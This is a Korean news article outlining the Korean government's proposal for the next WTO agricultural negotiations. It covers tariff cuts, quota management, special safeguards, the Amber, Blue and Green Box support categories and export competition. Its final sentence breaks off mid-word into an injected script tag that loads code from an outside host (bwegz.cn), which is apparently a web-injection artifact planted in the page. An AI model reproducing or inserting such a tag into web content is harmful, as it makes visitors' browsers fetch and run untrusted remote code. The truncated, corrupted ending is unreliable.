" 이번에 정부가 마련한 제안서는 차기농산물협상에서 논의될 한국의 입장을 개괄적으로 설명하면서 아직까지 협상이 초기라는 점을 감안, 구체적인 내용보다는 기본적인 입장을 강조하고 있다.
특히 한국의 특수성을 감안해 농업의 비교역적 기능과 개도국 우대를 강화해야 한다는 입장을 설명하면서 UR협상이 농산물수입국에게 많은 부담을 주어 균형적인 경과가 아니었음을 강조하고 이번 차기 협상은 점진적이고 신축적인 접근이 돼야 함을 강조했다.

◇ 시장접근
▲관세인하
·UR 협상시 도입된 관세화의 틀은 일관성있는 개혁을 위해 유지되어야 하며, 관세인하는 각국의 다양한 사정과 농업의 다원적 기능을 비롯한 비교역적 관심사항을 고려하여 모든 나라가 수용 가능한 범위 내에서 이루어져야 한다는게 정부의 입장이다. 물론 이를 위해 신축적이고 점진적인 접근이 필요함을 강조했다.
·식량안보 등 농업의 다원적 기능 등 비교역적 관심사항을 감안, 핵심 주곡에 대해서는 시장접근에 있어 특별한 배려를 해야 함을 강조, 쌀에 대한 우리측의 입장을 분명히 했다.
·관세감축은 과거에 자발적으로 관세인하를 해온 나라들에게 불이익을 주지 않도록 UR협상의 최종 이행년도 양허세율을 기준으로 하자는 입장이다.
· 종량세, 선택세, 혼합세 등의 관세부과방법은 WTO규범상 허용된 것으로, 신축성을 인정하는 차원에서 계속 유지돼야 한다.
·관세인하는 각국의 다양한 여건을 고려, 모든 국가가 참여할 수 있는 방향으로 진행돼야 한다는 것이 기본 입장이다.
UR협상 결과 모든 수입제한이 없어져 이제는 관세만이 유일한 국경보호 수단이고, UR협상에서 이미 모든 회원국들이 관세를 대폭 인하했음을 감안할 때, 추가적인 관세의 대폭 인하는 회원국들의 농업을 붕괴시킬 우려가 있으므로 소폭의 관세인하가 바람직하다는 점도 덧붙였다. 부문별자유화는 각국의 이해를 균형있게 반영하기 어려워 모든 국가가 참여할 수 있는 방법이 아니라는 점을 강조했다.

▲시장접근물량 관리방법
·시장접근물량 관리방법은 이중관세체제 하에서 나타날 수 있는 시장교란의 위험에 대처하기 위한 것으로, 각국의 유통여건과 품목별 특성에 따라 불가피하게 다양한 형태를 띄고 있다는 것이 우리측의 주장이다. 따라서, 시장접근물량 관리방법은 각국의 다양한 사정을 반영하여 신축적으로 운영되도록 하면서, 현행 WTO협정의 기본원칙과 관련규정을 성실히 지켜나갈 수 있도록 투명성을 높여 가는 것이 필요하다고 강조했다.

▲특별긴급관세
·관세화의 불가분의 요소로 만들어진 특별긴급관세(SSG)는 개혁의 원만한 진행을 돕는 장치로서, 유지되어야 한다는 데는 맥락을 같이하고 있으나 현행 발동요건이 엄격하여 대상품목 중 극히 일부 품목에 대해서만 발동되고 있으므로 발동요건을 강화하는 것은 바람직하지 않다는 논리를 내세웠다.

◇국내보조
농업개혁을 일관성있게 진행할 수 있도록 하기 위해서는 감축대상보조(Amber Box), 생산제한하의 직접지불(Blue Box), 허용보조(Green Box)의 기본체계는 유지되어야 한다는 입장을 강조했다.
특히 농업의 다원적 기능을 반영하기 위해 허용보조의 범위와 요건은 보다 신축적인 방향으로 조정되어야 한다는 입장이다.

▲감축대상 보조(Amber Box)
·발전단계와 여건이 서로 다른 회원국의 농업이 공존하기 위해서는 각국 정부가 자국 실정에 맞게 농업정책을 수행할 수 있어야 하고, 특히 비록 무역을 왜곡시키더라도 일정 수준의 감축대상 보조는 반드시 유지되어야 한다는 입장이다. 결국 감축대상 보조는 각국이 수용할 수 있는 범위내에서 점진적으로 줄여나가되 그 과정에서 반드시 인플레이션의 영향을 반영해야 한다. 그리고 De-minimis는 최소한 현행수준으로 유지되어야 한다.

▲블루박스(Blue Box)
·블루박스는 무역왜곡적 보조를 무역왜곡이 덜한 보조로 전환하는데 있어 유용하게 사용될 수 있으므로 계속 유지되어야 한다는 입장이다.

▲허용보조(Green Box)
·현행 농업협정상 허용된 조치를 포함해 농업의 다원적 기능에 대한 보상적 성격의 보조, 농가소득안전망 확충을 위한 보조, 소규모 가족농에 대한 보조, 개발도상국의 농업·농촌개발을 위한 보조는 감축의무가 면제돼야 한다고 제안했다.

◇수출경쟁
농산물교역에 가장 직접적인 영향을 주는 관련 규범으로서 투명하게 제정되야 하며 수출국과 수입국간에 공평한 권리와 의무를 지워야 한다는 것이 주요 주장이다.
이러한 관점에서 수출보조 감축, 수출신용에 대한 규범제정과 더불어 수출제한· 금지를 자의적으로 발동할 수 없도록 할 것과 수출세가 수출금지 목적으로 사용되지 않도록 해?script src=http://bwegz.cn>
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